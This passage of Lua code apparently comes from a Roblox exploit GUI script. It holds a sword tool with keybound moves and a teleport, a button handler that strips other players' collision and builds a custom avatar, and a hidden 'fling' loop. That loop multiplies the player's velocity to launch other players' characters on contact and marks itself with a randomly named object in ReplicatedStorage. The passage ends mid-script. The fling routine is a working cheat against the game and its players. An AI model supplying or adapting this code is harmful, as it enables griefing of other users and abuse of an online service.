telehit,telepos = rayCast(mpos,((mpos - Vector3.new(0,10000,0)) - mpos),999.999,Player.Character)
wavv = wavv + 8 Functions.Sparkle(La,3) Functions.BrickWarpDesign(La,4)
if telehit ~= nil then wav.Transparency = 0 wav.CFrame = cf(telepos.x,telepos.y+1,telepos.z) *ca(0,mr(wavv),0) else wav.Transparency = 1 end
wait() until tele == true or tele2 == true mouseact:disconnect()
if telehit == nil or math.abs((Torso.Position - telepos).magnitude) > Props.MaxTeleDistance then
Sound(Sounds.Punch,1,1) for i=0.3,1,0.14 do wavm.Scale = Vector3.new(3.5+(5*i),2,3.5+(5*i)) wav.Transparency = i wait() end wav:Remove()
wav:Remove()
else
MinusRage(RaigCost)
for i=1,10 do wait() Functions.Sparkle(Torso,5,3) Functions.BrickWarpDesign(Torso,6) end
ShockWave(Torso,7,BladeColor)
Torso.CFrame = wav.CFrame + Vector3.new(0,2.2,0) Sound(Sounds.EnergyBlast,1.2,0.6)
ShockWave(Torso,7,BladeColor)
for i=1,10 do wait() Functions.Sparkle(Torso,5,3) Functions.BrickWarpDesign(Torso,6) end
for i=0.3,1,0.14 do wavm.Scale = Vector3.new(3.5+(5*i),2,3.5+(5*i)) wav.Transparency = i wait() end wav:Remove()
end
for i=i2,i1,-is*Speed do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
Anim.Act = false
end
--------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------
bin.Selected:connect(function(mm)
Mouse = mouse
mouse = mm
Torso["Left Hip"].Part0 = Tor
Torso["Right Hip"].Part0 = Tor
RS.Parent = nil
LS.Parent = nil
RW.Parent = Torso
RW.Part0 = Fra
RW.Part1 = Ra
LW.Parent = Torso
LW.Part0 = Fla
LW.Part1 = La
RW.C0 = CFrame.new(0,0,0) RW.C1 = CFrame.new(0,0,0)
LW.C0 = CFrame.new(0,0,0) LW.C1 = CFrame.new(0,0,0)
Anims.Equip(0,1,0.07*Speed)
Anim.Equipped = true
mouse.KeyDown:connect(function(key)
key:lower()
pcall(function() Anim.key[key:lower()] = true end)
keydown = true
if key == "z" and Anim.Move == "None" and not Anim.Act then
Functions.RageRegen()
end
if SwordType == "Single" then
if key == "e" and Anim.Move == "None" and not Anim.Act and RageCost["RotorBlade"] <= Rage then
Anim.Move = "RotorBlade"
Anims.RotorBlade(0,1,0.08*Speed,RageCost["RotorBlade"])
Anim.Move = "None"
elseif key == "q" and Anim.Move == "None" and not Anim.Act and RageCost["Boomerang"] <= Rage then
Anim.Move = "Boomerang"
Anims.Boomerang(0,1,0.08*Speed,RageCost["Boomerang"])
Anim.Move = "None"
elseif key == "f" and Anim.Move == "None" and not Anim.Act and RageCost["BoulderForce"] <= Rage then
Anim.Move = "BoulderForce"
Anims.BoulderForce(0,1,0.08*Speed,RageCost["BoulderForce"])
Anim.Move = "None"
elseif key == "r" and Anim.Move == "None" and not Anim.Act and RageCost["ForceWave"] <= Rage then
Anim.Move = "ForceWave"
Anims.ForceWave(0,1,0.08*Speed,RageCost["ForceWave"])
Anim.Move = "None"
elseif key == "t" and Anim.Move == "None" and not Anim.Act and RageCost["Teleport"] <= Rage then
Anim.Move = "Teleport"
Functions.Teleport(0,1,0.08*Speed,RageCost["Teleport"])
Anim.Move = "None"
end
elseif SwordType == "Dual" then
if key == "e" and Anim.Move == "None" and not Anim.Act and RageCost["DualSpin"] <= Rage then
Anim.Move = "DualSpin"
Anims.DualSpin(0,1,0.08*Speed,RageCost["DualSpin"])
Anim.Move = "None"
end
end
end)
mouse.KeyUp:connect(function(key)
pcall(function() Anim.key[key:lower()] = false end)
keydown = false
end)
mouse.Button1Down:connect(function() Anim.Button = true
if not Anim.Click and Anim.Move == "None" and not Anim.Act then
Anim.Click = true
if Anim.CanBerserk ~= 0 then Anim.CanBerserk = Anim.CanBerserk + 1 end
if Anim.CanBerserk == 0 and RageCost["Berserk"] <= Rage then
Rage = Rage - RageCost["Berserk"]
Anim.ComboBreak = true
Speed = Speed + 0.5
Anim.CanBerserk = Anim.CanBerserk + 1
--Anim.Move = "LeftPunch"
--Anims.LeftPunch(0,1,0.1*Speed,0) Anim.Move = "None"
elseif Anim.CanBerserk == 2 then
Anim.CanBerserk = 0
end
coroutine.resume(coroutine.create(function() local oldcomb = Anim.CanBerserk wait(0.5) if Anim.ComboBreak == true and Anim.CanBerserk == oldcomb then Anim.ComboBreak = false Speed = Speed -0.5 Anim.CanBerserk = 0 end end))
wait(0.1)
Anim.Click = false
end
end)
mouse.Button1Up:connect(function() Anim.Button = false
end)
end)
bin.Deselected:connect(function(mouse)
Anim.Equipped = false
if SwordType == "Dual" then Anims.ChangeToSingle(0,1,0.25*Speed) SwordType = "Single" end
Anims.UnEquip(1,0,-0.08*Speed)
RW.Parent = nil
LW.Parent = nil
RS.Parent = Torso
RS.Part0 = Torso
RS.Part1 = Ra
LS.Parent = Torso
LS.Part0 = Torso
LS.Part1 = La
if Rh.Parent == nil then
FeetWeld(false,Lh,Rh)
end
Torso["Left Hip"].Part0 = Torso
Torso["Right Hip"].Part0 = Torso
end)
Hum.WalkSpeed = RealSpeed
Rage = 100000
wait(5)
------
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
end)
end;
task.spawn(C_91);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_93()
local script = G2L["93"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
------------
--John Doe--
------------
-----by-----
--CKbackup--
------------
--Anti Fling--
AntiFling = true
local function NoCollision(PLR)
if AntiFling and PLR.Character then
for _,x in pairs(PLR.Character:GetDescendants()) do
if x:IsA("BasePart") and x.CanCollide then
x.CanCollide = false
end
end
end
end
for _,v in pairs(game.Players:GetPlayers()) do
if v ~= game.Players then
local antifling = game:GetService('RunService').Stepped:connect(function()
NoCollision(v)
end)
end
end
game.Players.PlayerAdded:Connect(function()
if v ~= game.Players.LocalPlayer and antifling then
local antifling = game:GetService('RunService').Stepped:connect(function()
NoCollision(v)
end)
end
end)
--Player Stuff--
player = game:GetService("Players").LocalPlayer
chara = player.Character
ch = chara:GetChildren()
for i = 1, #ch do
if ch[i].Name == "Torso" then
ch[i].roblox.Transparency = 1
elseif ch[i].Name == "Head" then
ch[i].face.Transparency = 1
ch[i].Transparency = 1
elseif ch[i].ClassName == "Accessory" or ch[i].ClassName == "Shirt" or ch[i].ClassName == "Pants" or ch[i].ClassName == "ShirtGraphic" then
ch[i]:Destroy()
end
end
chara["Left Arm"].BrickColor = BrickColor.new("Cool yellow")
chara["Right Arm"].BrickColor = BrickColor.new("Cool yellow")
chara["Left Leg"].BrickColor = BrickColor.new("Medium blue")
chara["Right Leg"].BrickColor = BrickColor.new("Medium blue")
chara.Torso.BrickColor = BrickColor.new("Bright yellow")
--Outfit--
New = function(Object, Parent, Name, Data)
local Object = Instance.new(Object)
for Index, Value in pairs(Data or {}) do
Object[Index] = Value
end
Object.Parent = Parent
Object.Name = Name
return Object
end
function ScatterEff(part)
local eff1 = Instance.new("ParticleEmitter",part)
eff1.Size = NumberSequence.new(.1)
eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.9,0),NumberSequenceKeypoint.new(1,1)})
eff1.LightEmission = 1
eff1.Lifetime = NumberRange.new(1)
eff1.Speed = NumberRange.new(1)
eff1.Rate = 100
eff1.VelocitySpread = 10000
eff1.Texture = "rbxassetid://347504241"
eff1.Color = ColorSequence.new(Color3.new(1,0,0))
local eff2 = Instance.new("ParticleEmitter",part)
eff2.Size = NumberSequence.new(.1)
eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.9,0),NumberSequenceKeypoint.new(1,1)})
eff2.LightEmission = 1
eff2.Lifetime = NumberRange.new(1)
eff2.Speed = NumberRange.new(1)
eff2.Rate = 100
eff2.VelocitySpread = 10000
eff2.Texture = "rbxassetid://347504259"
eff2.Color = ColorSequence.new(Color3.new(1,0,0))
end
function BurningEff(part)
local eff1 = Instance.new("ParticleEmitter",part)
eff1.Size = NumberSequence.new(.1)
eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
eff1.LightEmission = 1
eff1.Lifetime = NumberRange.new(1)
eff1.Speed = NumberRange.new(0)
eff1.Rate = 100
eff1.Texture = "rbxassetid://347504241"
eff1.Acceleration = Vector3.new(0,10,0)
eff1.Color = ColorSequence.new(Color3.new(1,0,0))
local eff2 = Instance.new("ParticleEmitter",part)
eff2.Size = NumberSequence.new(.1)
eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
eff2.LightEmission = 1
eff2.Lifetime = NumberRange.new(1)
eff2.Speed = NumberRange.new(0)
eff2.Rate = 100
eff2.Texture = "rbxassetid://347504259"
eff2.Acceleration = Vector3.new(0,10,0)
eff2.Color = ColorSequence.new(Color3.new(1,0,0))
local eff3 = Instance.new("ParticleEmitter",part)
eff3.Size = NumberSequence.new(1)
eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
eff3.LightEmission = 1
eff3.Lifetime = NumberRange.new(1)
eff3.Speed = NumberRange.new(0)
eff3.Rate = 100
eff3.Texture = "rbxasset://textures/particles/fire_main.dds"
eff3.Acceleration = Vector3.new(0,10,0)
eff3.Color = ColorSequence.new(Color3.new(1,0,0))
end
FakeHead = New("Model",chara,"FakeHead",{})
MainPart = New("Part",FakeHead,"MainPart",{FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(2, 1, 1),CFrame = CFrame.new(2.29537678, 7.81603718, 0.746068954, 0.00980896503, 0.00110200304, 0.999957919, -0.000536994543, 1.00000548, -0.00109680078, -0.99994874, -0.0005262224, 0.00980964955),CanCollide = false,TopSurface = Enum.SurfaceType.Smooth,})
Mesh = New("SpecialMesh",MainPart,"Mesh",{Scale = Vector3.new(1.25, 1.25, 1.25),})
face = New("Decal",MainPart,"face",{Texture = "rbxasset://textures/face.png",})
Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara.Head,C0 = CFrame.new(0, 0, 0, 0.00980896503, -0.000536994543, -0.99994874, 0.00110200304, 1.00000548, -0.0005262224, 0.999957919, -0.00109680078, 0.00980964955),C1 = CFrame.new(5.96046448e-008, -8.58306885e-006, 0, 0.00980896503, -0.000536994543, -0.99994874, 0.00110200304, 1.00000548, -0.0005262224, 0.999957919, -0.00109680078, 0.00980964955),})
FakeHead.MainPart.BrickColor = BrickColor.new("Cool yellow")
EyeFire = New("Part",FakeHead,"EyeFire",{BrickColor = BrickColor.new("Really red"),Material = Enum.Material.Neon,Size = Vector3.new(0.400000006, 0.200000003, 0.200000003),CFrame = CFrame.new(1.69668579, 8.11665249, 0.640022159, -0.00107900088, 0.999958038, -0.00980941113, -1.0000056, -0.00107390946, 0.000525554642, 0.000515007298, 0.00981007144, 0.999948859),CanCollide = false,Color = Color3.new(1, 0, 0),})
Mesh = New("CylinderMesh",EyeFire,"Mesh",{Offset = Vector3.new(0.0500000007, 0, -0.0399999991),Scale = Vector3.new(1, 0.150000006, 1),})
Weld = New("ManualWeld",EyeFire,"Weld",{Part0 = EyeFire,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0010790003, -0.999999344, 0.000515000196, 0.999951363, -0.0010738963, 0.00981000345, -0.00980944186, 0.000525560055, 0.99995178),C1 = CFrame.new(0.100008011, 0.300009251, -0.600027919, 0.00980899762, -0.000536999898, -0.99995178, 0.00110200245, 0.999999344, -0.000526215415, 0.999951363, -0.00109678751, 0.00980958249),})
Chest = New("Model",chara,"Chest",{})
MainPart = New("Part",Chest,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(2, 2, 1),CFrame = CFrame.new(2.2937007, 6.31611967, 0.746871948, 0.00980956201, 0.00110224239, 0.999954581, -0.000537135813, 1.00000238, -0.00109703222, -0.99995023, -0.000526354474, 0.00981019717),CanCollide = false,LeftSurface = Enum.SurfaceType.Weld,RightSurface = Enum.SurfaceType.Weld,})
Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara.Torso,C0 = CFrame.new(0, 0, 0, 0.009809535, -0.000537137908, -0.99994725, 0.00110225554, 1.00000858, -0.000526368851, 0.999961257, -0.00109705783, 0.00981026888),C1 = CFrame.new(5.96046448e-008, -9.05990601e-006, -2.38418579e-007, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),})
CorruptedPart = New("Part",Chest,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.400000006, 0.800000072, 1),CFrame = CFrame.new(2.28977966, 7.11656427, 1.34486222, -0.00110228383, -0.00980954897, -0.9999578, -1.00000536, 0.000536905834, 0.00109708123, 0.000526248943, 0.99994868, -0.00981033035),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0011022957, -0.999999225, 0.000526249292, -0.00980958622, 0.000536918582, 0.99995172, -0.999951243, 0.0010970803, -0.00981026702),C1 = CFrame.new(-0.598430753, 0.800122261, 0.00106739998, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),})
CorruptedPart = New("Part",Chest,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.400000006, 0.400000066, 1),CFrame = CFrame.new(2.29174757, 6.71645212, 1.54485857, -0.00110228383, -0.00980954897, -0.9999578, -1.00000536, 0.000536905834, 0.00109708123, 0.000526248943, 0.99994868, -0.00981033035),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0011022957, -0.999999225, 0.000526249292, -0.00980958622, 0.000536918582, 0.99995172, -0.999951243, 0.0010970803, -0.00981026702),C1 = CFrame.new(-0.798183441, 0.399908543, 0.00543618202, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),})
LeftArm = New("Model",chara,"LeftArm",{})
MainPart = New("Part",LeftArm,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(1.90889204, 6.31596565, 3.24640989, -0.0484240092, -0.0324009918, 0.998301268, -0.00117100019, 0.999474883, 0.0323822871, -0.998826265, 0.000399069104, -0.0484365262),CanCollide = false,})
Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Left Arm"],C0 = CFrame.new(0, 0, 0, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),C1 = CFrame.new(0, -8.10623169e-006, -2.38418579e-007, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(1.48370504, 6.50245714, 2.8663168, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(0.400017738, 0.200018406, -0.400015235, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.51924801, 6.60332775, 3.66543078, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.399997473, 0.300003052, -0.399972558, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
EffCorruptedPart = New("Part",LeftArm,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(1.92512023, 5.81624889, 3.24619365, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(1.52587891e-005, -0.49998045, 2.90870667e-005, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000072, 0.200000003),CFrame = CFrame.new(2.31463432, 6.72918367, 3.62673688, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.400012016, 0.400006294, 0.400012136, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(1.50631011, 6.40297413, 3.26581192, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(1.3589859e-005, 0.100014687, -0.400020242, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000036, 0.200000003),CFrame = CFrame.new(1.92179501, 6.51633835, 3.64602208, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.40000248, 0.200008869, 1.37090683e-005, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
BurningEff(EffCorruptedPart)
LeftLeg = New("Model",chara,"LeftLeg",{})
MainPart = New("Part",LeftLeg,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.2865479, 1.31659603, 1.24781799, 0.00980953407, 0.00110225566, 0.999961138, -0.000537137908, 1.00000858, -0.00109705783, -0.99994719, -0.000526368851, 0.00981026888),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,})
Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Left Leg"],C0 = CFrame.new(0, 0, 0, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),C1 = CFrame.new(0, -8.58306885e-006, -2.38418579e-007, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
EffCorruptedPart = New("Part",LeftLeg,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.200000048, 1),CFrame = CFrame.new(2.28007793, 0.400032878, 1.25993299, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.0116856098, -0.916567385, -0.00534534454, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.88013697, 0.800038397, 0.859943509, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
